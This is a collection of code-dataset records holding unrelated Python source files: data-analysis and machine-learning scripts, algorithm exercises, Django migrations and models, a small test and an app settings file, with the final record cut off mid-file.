+{"seq_id":"11466521077","text":"import xlrd\nfrom scipy.stats import zscore\nfrom methods import *\nfrom pylab import *\n#from writeapriorifile import *\n\n\n#Converts Present and Absent into numbers.\ndef convert(s):\n    if s == \"Present\":\n        return 1\n    else:\n        return 0\n\n#Load dataset\ndoc = xlrd.open_workbook('../../dataset_sorted.xls').sheet_by_index(0)\n\nsize = 463\nnoAttributes = 9\n\n#Get attributes and classnames\nattributeNames = doc.row_values(0,1,noAttributes+1)\nattributeNamesCHD = doc.row_values(0,1,noAttributes+1+1)\n\nclassLabels = doc.col_values(noAttributes+1,1,size)\nclassNames = sorted(set(classLabels))\nclassDict = dict(zip(classNames,range(2)))\n\n\ny = np.mat([classDict[value] for value in classLabels]).T\n\nX = np.mat(np.empty((size-1,noAttributes)))\nXCHD =np.mat(np.empty((size-1,noAttributes+1)))\n\nfor i, col_id in enumerate(range(1,noAttributes+1+1)):\n    if(i < len(attributeNames) and attributeNames[i] == \"famhist\"):\n        temp12 = [convert(i2) for i2 in doc.col_values(col_id,1,size)]\n        if i < noAttributes:\n            X[:,i] = np.mat(temp12).T\n        XCHD[:,i] = np.mat(temp12).T\n    else:\n        if i < noAttributes:\n            X[:,i] = np.mat(doc.col_values(col_id,1,size)).T\n        XCHD[:,i] = np.mat(doc.col_values(col_id,1,size)).T\n\n\nM = len(attributeNames) \nN = len(y)\nC = len(classNames)\n\n\nXStandardized = zscore(X, ddof=1)\n\n\nXPC = getPrincipalComponents(XStandardized)\n\nX2PC = np.copy(XPC)\n\nplotCVK(XPC,range(1,21),iterations = 1)\ngmm(XPC, y, 9, C, K=6)\n\nhierarchicalClustering(XPC,y,6,C,Method = 'complete')\n\nXBin = convertToBinary(XCHD)\n\nattributeNames2 = attributeNames + ['CHD']\n\nWriteAprioriFile(XBin,titles=attributeNames2,filename=\"AprioriFile.txt\")\n\ndoApriori(\"AprioriFile.txt\",minSup=30,minConf = 50)\n\noutlierDetection(XStandardized,objects = 5)\n","repo_name":"khushi4tiwari/South-African-Heart-Disease-data-analysis-using-python","sub_path":"part3/Project3.py","file_name":"Project3.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"18758815265","text":"import torch.utils.data\nfrom torch.utils.data import ConcatDataset\nfrom torch.utils.data import Sampler, BatchSampler, RandomSampler\nfrom typing import Optional, Iterator\nimport numpy as np\n\n\nclass ratio_sampler(Sampler[int]):\n    def __init__(self, data_source: ConcatDataset, replacement: bool = False, num_samples: Optional[int] = None, ratio=1, generator=None):\n        '''\n        params: ratio, means the ratio of the labeled and unlabeled data in a batch.\n        >>> ratio_sampler(data_source)\n        '''\n        super().__init__(data_source)\n        self.data_source = data_source\n        self.replacement = replacement\n        self._num_samples = num_samples\n        self.cumulative_sizes = data_source.cumulative_sizes\n        self.ratio = ratio\n        self.generator = generator\n        self.l = []\n\n        if not isinstance(self.replacement, bool):\n            raise TypeError(\"replacement should be a boolean value, but got \"\n                            \"replacement={}\".format(self.replacement))\n\n        if self._num_samples is not None and not replacement:\n            raise ValueError(\"With replacement=False, num_samples should not be specified, \"\n                             \"since a random permute will be performed.\")\n\n        if not isinstance(self.num_samples, int) or self.num_samples <= 0:\n            raise ValueError(\"num_samples should be a positive integer \"\n                             \"value, but got num_samples={}\".format(self.num_samples))\n\n    @property\n    def num_samples(self) -> int:\n        n = len(self.data_source)\n        n1, n2 = [len(i) for i in self.data_source.datasets]\n        assert n == n1 + n2, \"data_source_datasets'length is more than two.\"\n\n        l1 = np.random.choice(np.arange(n1), size=n1, replace=False)\n        l2 = np.random.choice(np.arange(n1, n1 + n2), size=n1, replace=True)\n\n        if self.ratio == 1:\n            l = np.array([list(i) for i in zip(l1, l2)]).reshape(-1).tolist()\n        elif self.ratio == 2:\n            l = np.array([list(i) for i in zip(l1, l2, l2)]).reshape(-1).tolist()\n        else:\n            print('self.ratio should be one of [1, 2], now reset to ratio=1')\n            l = np.array([list(i) for i in zip(l1, l2)]).reshape(-1).tolist()\n        return len(l)\n\n    def __iter__(self) -> Iterator[int]:\n        if self.generator is None:\n            seed = torch.empty((), dtype=torch.int64).random_().item()\n            np.random.seed(int(str(seed)[-3:]))\n        else:\n            raise ValueError\n        n = len(self.data_source)\n        n1, n2 = [len(i) for i in self.data_source.datasets]\n        assert n == n1 + n2, \"data_source_datasets'length is more than two.\"\n\n        if self.replacement:\n            raise ValueError(\"don't wanna self.replacement=True\")\n        else:\n            l1 = np.random.choice(np.arange(n1), size=n1, replace=False)\n            np.random.seed(1)\n            l2 = np.random.choice(np.arange(n1, n1+n2), size=n1, replace=True)\n            np.random.seed(2)\n            l22 = np.random.choice(np.arange(n1, n1+n2), size=n1, replace=True)\n\n            if self.ratio == 1:\n                l = np.array([list(i) for i in zip(l1, l2)]).reshape(-1).tolist()\n            elif self.ratio == 2:\n                l = np.array([list(i) for i in zip(l1, l2, l22)]).reshape(-1).tolist()\n            else:\n                print('self.ratio should be one of [1, 2], now reset to ratio=1')\n                l = np.array([list(i) for i in zip(l1, l2)]).reshape(-1).tolist()\n\n            yield from l\n\n    def __len__(self) -> int:\n        return self.num_samples\n\n","repo_name":"yonghongwu/TDNet","sub_path":"Training/utils/RatioSampler.py","file_name":"RatioSampler.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"36219416961","text":"import json\r\n\r\ndef saver_json(info_to_save, filename):\r\n    \"saving  info get from user to json\"\r\n    print (f\"\\nwrite {info_to_save}, to {filename}\")\r\n    with open (filename, 'w') as f:\r\n        json.dump(info_to_save, f)\r\n    print (f\"We'l remember you, when you come back, {info_to_save}\")\r\n\r\ndef loader_json(filename):\r\n    \"read the json file and return data\"\r\n    try:\r\n        print (f\"\\nread file '{filename}': \")\r\n        with open (filename) as f:\r\n            info_to_load = json.load(f)\r\n    except FileNotFoundError:\r\n        return None\r\n    else:\r\n        return info_to_load\r\n        \r\n\r\n\r\n\r\ninfo_to_save = input ('What is you name? ')\r\nfilename = 'username.json'\r\nsaver_json(info_to_save, filename)\r\nprint (loader_json(filename))","repo_name":"Artarin/study-python-Erick-Metis","sub_path":"operation_with_files/save_load/saver_loader.py","file_name":"saver_loader.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34628346363","text":"#!/usr/bin/env python3\n\nimport math\n\n\nclass BellmanFord:\n    def __init__(self, num_nodes, num_edges, data):\n        self.num_nodes = num_nodes\n        self.num_edges = num_edges\n\n        self.edge_dict = {}\n        for n in range(1, self.num_nodes + 1):\n            self.edge_dict[n] = []\n        for e in data:\n            self.edge_dict[e[1]].append(e)\n\n    def shortest_path(self, s):\n        \"\"\" Returns either a list of the shortest paths from s to all other\n        nodes, or False if the graph contains a negative cycle.\n        \"\"\"\n        paths = []\n\n        # i == 0\n        for node in range(1, self.num_nodes + 1):\n            if node == s:\n                paths.append(0)\n            else:\n                paths.append(math.inf)\n\n        for i in range(1, self.num_nodes + 1):\n            prev_paths = paths\n            paths = []\n            print('i = ', i)\n            for n in range(1, self.num_nodes + 1):\n                # source node\n                if n == s:\n                    paths.append(0)\n                    continue\n                # Get A\n                a = prev_paths[n - 1]\n                # Get B\n                b = math.inf\n                for v in self.edge_dict[n]:\n                    b = min(b, prev_paths[v[0] - 1] + v[2])\n                paths.append(min(a, b))\n\n        # Check neg cycles\n        if paths != prev_paths:\n            return False\n        else:\n            return prev_paths\n","repo_name":"ceik/langunita","sub_path":"algorithms/apsp/bellman_ford.py","file_name":"bellman_ford.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12419754852","text":"from code.stage_3_code.Dataset_Loader import Dataset_Loader\nfrom code.stage_3_code.Method_CNN import Method_CNN\nfrom code.stage_2_code.Result_Saver import Result_Saver\nfrom code.stage_3_code.Setting_Mini_Batch import Setting_Mini_Batch\nfrom code.stage_2_code.Evaluate_Accuracy import Evaluate_Accuracy\nimport numpy as np\nimport torch\nimport os\nfrom torch import nn\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n# ---- Multi-Layer Perceptron script ----\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nprint(torch.cuda.is_available())\n\nif 1:\n\n    # ---- parameter section -------------------------------\n    np.random.seed(2)\n    torch.manual_seed(2)\n    # ------------------------------------------------------\n    i = 2\n    f = 2\n    # ---- objection initialization setction ---------------\n    files=      ['MNIST',   'ORL',  'CIFAR' ]\n    sizes=      [20000,     360,    2048       ]\n    epoches=    [1000,      500,   10          ]\n    stages=     [4,         1,      200        ]\n    chans=      [1,         3,      3           ]\n    lrs=[10e-5,10e-5,10e-4]\n    fs=[nn.Sequential(\n            nn.MaxPool2d(kernel_size=2, stride=2),\n            nn.Conv2d(1, 8, 5),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(kernel_size=2, stride=2),\n            nn.Conv2d(8,16,3),\n            nn.ReLU(inplace=True),\n\n        ).to(device),\n\n        nn.Sequential(\n            nn.MaxPool2d(kernel_size=4, stride=2),\n            nn.Conv2d(3, 1, 1),\n            nn.Conv2d(1, 8, 5),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(kernel_size=4, stride=2),\n            nn.Conv2d(8, 16, 5),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(kernel_size=2, stride=2),\n            nn.Conv2d(16, 32, 3),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(kernel_size=2, stride=2),\n    ).to(device),\n\n        nn.Sequential(\n\n            nn.Conv2d(3, 8, 3),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(kernel_size=2, stride=2),\n            nn.Conv2d(8, 16, 3),\n            nn.ReLU(inplace=True),\n            nn.AvgPool2d(kernel_size=2, stride=2),\n            nn.Conv2d(16, 32, 3),\n            nn.ReLU(inplace=True),\n            nn.AvgPool2d(kernel_size=2, stride=2)\n\n        ).to(device)\n    ]\n\n    gs=[nn.Sequential(\n            nn.Linear(144, 32),\n            nn.ReLU(),\n            nn.Linear(32, 16),\n            nn.ReLU(),\n            nn.Linear(16, 10)\n        ).to(device),\n\n        nn.Sequential(\n            nn.Linear(256, 64),\n            nn.ReLU(),\n            nn.Linear(64, 41)\n        ).to(device),\n\n        nn.Sequential(\n            nn.Linear(128, 32),\n            nn.Linear(32, 10),\n\n\n\n        ).to(device)\n        ]\n\n\n\n    learning_rate = lrs[i]\n    file=files[f]\n    size=sizes[i]\n    stage=stages[i]\n    chan=chans[i]\n\n    epoch = epoches[i]\n    f=fs[i]\n    g=gs[i]\n    addaxis=i==0\n\n    torch.cuda.empty_cache()\n    trainset_obj = Dataset_Loader(file, '')\n    trainset_obj.dataset_source_folder_path = '../../data/stage_3_data/'\n    trainset_obj.dataset_source_file_name = file\n    trainset_obj.setType='train'\n    trainset_obj.addaxis=addaxis\n\n    testset_obj = Dataset_Loader(file, '')\n    testset_obj.dataset_source_folder_path = '../../data/stage_3_data/'\n    testset_obj.dataset_source_file_name = file\n    testset_obj.setType='test'\n    testset_obj.addaxis=addaxis\n\n    result_obj = Result_Saver('saver', '')\n    result_obj.result_destination_folder_path = '../../result/stage_3_result/CNN_'\n    result_obj.result_destination_file_name = 'prediction_result'\n\n    setting_obj = Setting_Mini_Batch('k fold cross validation', '')\n    # setting_obj = Setting_Tra\n    # in_Test_Split('train test split', '')\n\n    evaluate_obj = Evaluate_Accuracy('accuracy', '')\n    # ------------------------------------------------------\n    # for learning_rate in [10e-5,10e-6,10e-7]:\n    #    for epoch in [500,1000,2000]:\n    #        for size in [100,500,1000]:\n\n\n\n    # ---- running section ---------------------------------\n    method_obj = Method_CNN('cnn', '', epoch, learning_rate, device, chan,f,g).to(device)\n    print('************ Start ************')\n    setting_obj.prepare(trainset_obj, testset_obj, method_obj, result_obj, evaluate_obj)\n    setting_obj.print_setup_summary()\n    mean_score, std_score = setting_obj.load_run_save_evaluate(stage,size)\n    print('************ Overall Performance ************')\n    print('MLP Accuracy: ' + str(mean_score) + ' +/- ' + str(std_score))\n    print('************ final evaluation ************')\n    performance = setting_obj.do_evaluate()\n    print('final performance: ' + str(performance))\n    print('************ Finish ************')\n\n    # ------------------------------------------------------\n\n","repo_name":"rjsun06/ecs189g","sub_path":"script/stage_3_script/script_CNN.py","file_name":"script_CNN.py","file_ext":"py","file_size_in_byte":4726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39186919964","text":"from .constants import *\nfrom .utils import *\nimport torch.nn as nn\nfrom tqdm import tqdm\nfrom .plotter import *\n\nanomaly_loss = nn.CrossEntropyLoss()\nmse_loss = nn.MSELoss(reduction = 'mean')\n\nnum_zero, num_ones = 1, 1\n\n# Model Training\ndef triplet_loss(anchor, positive_class, model):\n\tglobal PROTO_UPDATE_FACTOR\n\tpositive_loss = mse_loss(anchor, model.prototype[positive_class].detach().clone())\n\tnegative_class_list = [0, 1, 2]\n\tnegative_class_list.remove(positive_class)\n\tnegative_loss = []\n\tfor nc in negative_class_list:\n\t\tnegative_loss.append(mse_loss(anchor, model.prototype[nc]))\n\tloss = positive_loss - torch.sum(torch.tensor(negative_loss))\n\tif positive_loss <= negative_loss[0] and positive_loss <= negative_loss[1]:\n\t\tfactor = PROTO_UPDATE_FACTOR + PROTO_UPDATE_MIN\n\t\tmodel.prototype[positive_class] = factor * anchor + (1 - factor) * model.prototype[positive_class]\n\treturn loss\n\ndef custom_loss(model, source, target_anomaly, target_class):\n\tglobal PROTO_UPDATE_FACTOR, num_ones, num_zero\n\tnz, no = 0, 0\n\tsource_anomaly, source_prototype = source\n\taloss, tloss = 0, torch.tensor(0, dtype=torch.double)\n\tfor i, sa in enumerate(source_anomaly):\n\t\tmultiplier = 1 if target_anomaly[i] == 0 else num_zero / num_ones\n\t\tnz += 1 if target_anomaly[i] == 0 else 1; no += 1 if target_anomaly[i] == 1 else 0\n\t\taloss += anomaly_loss(sa,  torch.tensor([target_anomaly[i]], dtype=torch.long)) * multiplier\n\tfor i, sp in enumerate(source_prototype):\n\t\tif target_anomaly[i] > 0:\n\t\t\ttloss += triplet_loss(sp, target_class[i], model)\n\tPROTO_UPDATE_FACTOR *= PROTO_FACTOR_DECAY; num_zero += nz; num_ones += no;\n\treturn aloss, tloss\n\ndef backprop(epoch, model, train_time_data, train_schedule_data, anomaly_data, class_data, optimizer, training = True):\n\tglobal PROTO_UPDATE_FACTOR, num_ones, num_zero\n\tnum_zero, num_ones = 1, 1\n\taloss_list, tloss_list = [], []\n\tfor i in tqdm(range(train_time_data.shape[0]), leave=False, position=1):\n\t\toutput = model(train_time_data[i], train_schedule_data[i])\n\t\taloss, tloss = custom_loss(model, output, anomaly_data[i], class_data[i])\n\t\taloss_list.append(aloss.item()); tloss_list.append(tloss.item())\n\t\tloss = aloss + tloss\n\t\tif training:\n\t\t\toptimizer.zero_grad()\n\t\t\tloss.backward()\n\t\t\toptimizer.step()\n\ttqdm.write(f'Epoch {epoch},\\tLoss = {np.mean(aloss_list)+np.mean(tloss_list)},\\tALoss = {np.mean(aloss_list)},\\tTLoss = {np.mean(tloss_list)}')\n\tfactor = PROTO_UPDATE_FACTOR + PROTO_UPDATE_MIN\n\treturn np.mean(aloss_list) + np.mean(tloss_list), factor\n\n# Accuracy \ndef anomaly_accuracy(source_anomaly, target_anomaly, model_plotter):\n\tcorrect = 0; res_list = []; tp, fp, tn, fn = 0, 0, 0, 0\n\tfor i, sa in enumerate(source_anomaly):\n\t\tres = torch.argmax(sa).item() \n\t\tres_list.append(res)\n\t\tif res == target_anomaly[i]:\n\t\t\tcorrect += 1\n\t\t\tif target_anomaly[i] == 1: tp += 1\n\t\t\telse: tn += 1\n\t\telse:\n\t\t\tif target_anomaly[i] == 1: fn += 1\n\t\t\telse: fp += 1\n\tif model_plotter is not None:\n\t\tmodel_plotter.update_anomaly(res_list, target_anomaly, correct/len(source_anomaly))\n\treturn correct/len(source_anomaly), tp, tn, fp, fn\n\ndef class_accuracy(source_prototype, target_anomaly, target_class, model, model_plotter):\n\tcorrect, total = 0, 1e-4; prototypes = []\n\tfor i, sp in enumerate(source_prototype):\n\t\tif target_anomaly[i] > 0:\n\t\t\ttotal += 1\n\t\t\tpositive_loss = mse_loss(sp, model.prototype[target_class[i]])\n\t\t\tnegative_class_list = [0, 1, 2]\n\t\t\tnegative_class_list.remove(target_class[i])\n\t\t\tnegative_loss = []\n\t\t\tfor nc in negative_class_list:\n\t\t\t\tnegative_loss.append(mse_loss(sp, model.prototype[nc]))\n\t\t\tif positive_loss <= negative_loss[0] and positive_loss <= negative_loss[1]:\n\t\t\t\tcorrect += 1\n\t\t\tprototypes.append((sp, target_class[i]))\n\tif model_plotter is not None:\n\t\tmodel_plotter.update_class(prototypes, correct/total)\n\treturn correct / total\n\ndef accuracy(model, train_time_data, train_schedule_data, anomaly_data, class_data, model_plotter):\n\tanomaly_correct, class_correct, class_total = 0, 0, 0; tpl, tnl, fpl, fnl = [], [], [], []\n\tfor i, d in enumerate(train_time_data):\n\t\toutput = model(train_time_data[i], train_schedule_data[i])\n\t\tsource_anomaly, source_prototype = output\n\t\tres, tp, tn, fp, fn = anomaly_accuracy(source_anomaly, anomaly_data[i], model_plotter)\n\t\tanomaly_correct += res\n\t\ttpl.append(tp); tnl.append(tn); fpl.append(fp); fnl.append(fn)\n\t\ttp += res; fp += res; tn += (1 - res); fn += (1 - res)\n\t\tif np.sum(anomaly_data[i]) > 0:\n\t\t\tclass_total += 1\n\t\t\tclass_correct += class_accuracy(source_prototype, anomaly_data[i], class_data[i], model, model_plotter)\n\ttp, fp, tn, fn = np.mean(tpl), np.mean(fpl), np.mean(tnl), np.mean(fn)\n\tp, r = tp/(tp+fp), tp/(tp+fn)\n\ttqdm.write(f'P = {p}, R = {r}, F1 = {2 * p * r / (p + r)}')\n\treturn anomaly_correct / len(train_time_data), class_correct / class_total\n\n","repo_name":"imperial-qore/PreGAN","sub_path":"recovery/PreGANSrc/src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4770,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"}
+{"seq_id":"43227560981","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nfrom utils import TreeNode\n\nclass Codec:\n\n    def serialize(self, root):\n        \"\"\"Encodes a tree to a single string.\n\n        :type root: TreeNode\n        :rtype: str\n        \"\"\"\n        def dfs(node, result):\n            if node is None:\n                result.append('#')\n            else:\n                result.append(str(node.val))\n                dfs(node.left, result)\n                dfs(node.right, result)\n        result = []\n        dfs(root, result)\n        return ','.join(result)\n\n    def deserialize(self, data):\n        \"\"\"Decodes your encoded data to tree.\n\n        :type data: str\n        :rtype: TreeNode\n        \"\"\"\n        stack = [TreeNode(0)]\n        data_list = data.split(',')\n        i, n = 0, len(data_list)\n        while i < n:\n            if data_list[i] != '#':\n                node = TreeNode(data_list[i])\n                stack[-1].left = node\n                stack.append(node)\n            else:\n                while i < n and data_list[i] == '#':\n                    i += 1\n                    node = stack.pop()\n                if i == n:\n                    return node.left\n                node.right = TreeNode(data_list[i])\n                stack.append(node.right)\n            i += 1\n\n\n\n\n# Your Codec object will be instantiated and called as such:\nroot = TreeNode(1, TreeNode(2, None, TreeNode(3)),\n                TreeNode(4, TreeNode(5, TreeNode(6)),\n                         TreeNode(7, None, TreeNode(8, TreeNode(9)))))\ncodec = Codec()\nseq = codec.serialize(root)\nprint(seq)\nhead = codec.deserialize(seq)\n","repo_name":"wufangjie/leetcode","sub_path":"297. Serialize and Deserialize Binary Tree.py","file_name":"297. Serialize and Deserialize Binary Tree.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"23851264932","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='AnswerBase',\n            fields=[\n                ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n                ('created', models.DateTimeField(auto_now_add=True)),\n                ('updated', models.DateTimeField(auto_now=True)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Category',\n            fields=[\n                ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n                ('name', models.CharField(max_length=400)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Comment',\n            fields=[\n                ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n                ('text', models.TextField()),\n                ('created_date', models.DateTimeField(auto_now=True)),\n                ('author', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='FileUpload',\n            fields=[\n                ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n                ('docFile', models.FileField(blank=True, upload_to='Data_Files')),\n                ('author', models.ForeignKey(null=True, blank=True, to=settings.AUTH_USER_MODEL)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Question',\n            fields=[\n                ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n                ('text', models.TextField()),\n                ('required', models.BooleanField()),\n                ('question_type', models.CharField(default='text', max_length=200, choices=[('text', 'text'), ('radio', 'radio'), ('select', 'select'), ('select-multiple', 'Select Multiple'), ('integer', 'integer')])),\n                ('choices', models.TextField(null=True, blank=True, help_text='if the question type is \"radio,\" \"select,\" or \"select multiple\" provide a comma-separated list of options for this question .')),\n                ('category', models.ForeignKey(null=True, blank=True, to='survey.Category')),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Response',\n            fields=[\n                ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n                ('created', models.DateTimeField(auto_now_add=True)),\n                ('updated', models.DateTimeField(auto_now=True)),\n                ('title', models.CharField(null=True, verbose_name='Idea Name', blank=True, max_length=400)),\n                ('interview_uuid', models.CharField(verbose_name='Interview unique identifier', max_length=36)),\n                ('filelist', models.TextField(null=True, blank=True)),\n                ('draft', models.BooleanField(default=True)),\n                ('author', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Survey',\n            fields=[\n                ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n                ('name', models.CharField(max_length=400)),\n                ('description', models.TextField()),\n            ],\n        ),\n        migrations.CreateModel(\n            name='AnswerInteger',\n            fields=[\n                ('answerbase_ptr', models.OneToOneField(serialize=False, to='survey.AnswerBase', parent_link=True, auto_created=True, primary_key=True)),\n                ('body', models.IntegerField(null=True, blank=True)),\n            ],\n            bases=('survey.answerbase',),\n        ),\n        migrations.CreateModel(\n            name='AnswerRadio',\n            fields=[\n                ('answerbase_ptr', models.OneToOneField(serialize=False, to='survey.AnswerBase', parent_link=True, auto_created=True, primary_key=True)),\n                ('body', models.TextField(null=True, blank=True)),\n            ],\n            bases=('survey.answerbase',),\n        ),\n        migrations.CreateModel(\n            name='AnswerSelect',\n            fields=[\n                ('answerbase_ptr', models.OneToOneField(serialize=False, to='survey.AnswerBase', parent_link=True, auto_created=True, primary_key=True)),\n                ('body', models.TextField(null=True, blank=True)),\n            ],\n            bases=('survey.answerbase',),\n        ),\n        migrations.CreateModel(\n            name='AnswerSelectMultiple',\n            fields=[\n                ('answerbase_ptr', models.OneToOneField(serialize=False, to='survey.AnswerBase', parent_link=True, auto_created=True, primary_key=True)),\n                ('body', models.TextField(null=True, blank=True)),\n            ],\n            bases=('survey.answerbase',),\n        ),\n        migrations.CreateModel(\n            name='AnswerText',\n            fields=[\n                ('answerbase_ptr', models.OneToOneField(serialize=False, to='survey.AnswerBase', parent_link=True, auto_created=True, primary_key=True)),\n                ('body', models.TextField(null=True, blank=True)),\n            ],\n            bases=('survey.answerbase',),\n        ),\n        migrations.AddField(\n            model_name='response',\n            name='survey',\n            field=models.ForeignKey(null=True, to='survey.Survey'),\n        ),\n        migrations.AddField(\n            model_name='question',\n            name='survey',\n            field=models.ForeignKey(to='survey.Survey'),\n        ),\n        migrations.AddField(\n            model_name='comment',\n            name='response',\n            field=models.ForeignKey(to='survey.Response', related_name='comments'),\n        ),\n        migrations.AddField(\n            model_name='category',\n            name='survey',\n            field=models.ForeignKey(to='survey.Survey'),\n        ),\n        migrations.AddField(\n            model_name='answerbase',\n            name='question',\n            field=models.ForeignKey(to='survey.Question'),\n        ),\n        migrations.AddField(\n            model_name='answerbase',\n            name='response',\n            field=models.ForeignKey(to='survey.Response'),\n        ),\n    ]\n","repo_name":"amac441/ai_form","sub_path":"survey/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":6625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"44684814518","text":"import csv\nimport os\nimport pdb\n\nfrom app import write_entries_to_file\n\nentry = [\n    {'year': '2018', 'month': '06', 'day': '25', 'category': 'snacks', 'expense': '12'},\n    {'year': '2018', 'month': '06', 'day': '24', 'category': 'meals', 'expense': '25'},\n    {'year': '2018', 'month': '06', 'day': '23', 'category': 'stationary', 'expense': '16'},\n]\n\ndef test_write_entries_to_file():\n    #setup:\n    write_entries_to_file(entries=entry, filename=\"tests\\example_entries.csv\")\n    #test:\n    csv_filepath = os.path.join(os.path.dirname(__file__), \"example_entries.csv\")\n    rows_written = []\n    with open(csv_filepath, \"r\") as csv_file:\n        reader = csv.DictReader(csv_file)\n        for row in reader:\n            rows_written.append(dict(row))\n    assert len(rows_written) == 3\n    assert rows_written[0][\"year\"] == \"2018\"\n    assert rows_written[0][\"month\"] == \"06\"\n    assert rows_written[0][\"day\"] == \"25\"\n    assert rows_written[0][\"category\"] == \"snacks\"\n    assert rows_written[0][\"expense\"] == \"12\"\n","repo_name":"iriskhu/freestyle-project","sub_path":"tests/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"17571753067","text":"import os\n\n\n# Flask settings\n\nHOST = '0.0.0.0'  # Use 0.0.0.0 to listen on all available interfaces\nPORT = 5000\nDEBUG = True\nSECRET_KEY = \"yoursecretkeyhere\"\n\n# Hookbox settings\nHOOKBOX_API_SECRET = \"secret\"\nHOOKBOX_ADMIN_PASSWORD = \"admin\"\n\n# Visularity settings\nSERVER_IP = \"192.168.1.103\"  # Set this to whatever IP your machine is using\nPROJECT_ROOT = os.path.dirname(__file__)\n\nGENSIM_DATA_ROOT = \"/home/wbert/gensimdata/\"\nVIS_DATA_ROOT = os.path.join(PROJECT_ROOT, \"data\")\nSEED_CORPUS = [\n    \"The bus drove along the highway, full of many people going from one city to another city that night.\",\n    \"A whale can eat up to fifteen tons of plankton and other fish every day of its life.\",\n    \"The distance to the nearest star is measured in light years, the distance light travels at its fantastic speed over an entire year.\",\n    \"Planets are giant bodies of gas or rock out in the vacuum of space.\",\n    ]  # Optional list of sentences with which to create the initial index corpus\n\nLSI_MODEL_FILE = os.path.join(GENSIM_DATA_ROOT, \"wiki_en_model.lsi\")\nTFIDF_MODEL_FILE = os.path.join(GENSIM_DATA_ROOT, \"wiki_en_tfidf.model\")\nDICTIONARY_FILE = os.path.join(GENSIM_DATA_ROOT, \"wiki_en_wordids.txt\")\nSHARD_DIR = os.path.join('/tmp', \"index_shards\")\n\n\n\n","repo_name":"sandinmyjoints/visularity","sub_path":"visularity/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"3"}
+{"seq_id":"69823090001","text":"#1512. Number of Good Pairs\ndef numIdenticalPairs(self, nums):\n    \"\"\"\n    :type nums: List[int]\n    :rtype: int\n    90% faster\n    58% less memory\n    \"\"\"\n    countGoodPairs = 0\n    for j in range(len(nums)):\n        for i in range(j):\n            if(nums[i] == nums[j]):\n                countGoodPairs += 1\n                \n    return countGoodPairs","repo_name":"FreezingSnail/LeetCode-Problems","sub_path":"arrays/python/CountGoodPairs.py","file_name":"CountGoodPairs.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34060552081","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\nCATEGORY_CHOICES = (\n    ('other', 'Другое'),\n    ('food', 'Еда'),\n    ('clothes', 'Одежда'),\n    ('household', 'Товары для дома'),\n)\n\n\nclass Product(models.Model):\n    name = models.CharField(max_length=200, verbose_name='Товар')\n    category = models.CharField(max_length=50, choices=CATEGORY_CHOICES, verbose_name='Категория')\n    description = models.TextField(max_length=400, null=True, blank=True, verbose_name='Описание')\n    photo = models.ImageField(upload_to='product_images', null=True, blank=True, verbose_name='Фото')\n\n    def __str__(self):\n        return self.name\n\n    class Meta:\n        verbose_name = 'Товар'\n        verbose_name_plural = 'Товары'\n\n\nOCENKA_CHOICES = (\n    (1, 1),\n    (2, 2),\n    (3, 3),\n    (4, 4),\n    (5, 5),\n)\n\n\nclass Otziv(models.Model):\n    user = models.ForeignKey(User, on_delete=models.CASCADE,\n                             verbose_name='Автор', related_name='otziv')\n    product = models.ForeignKey(Product, 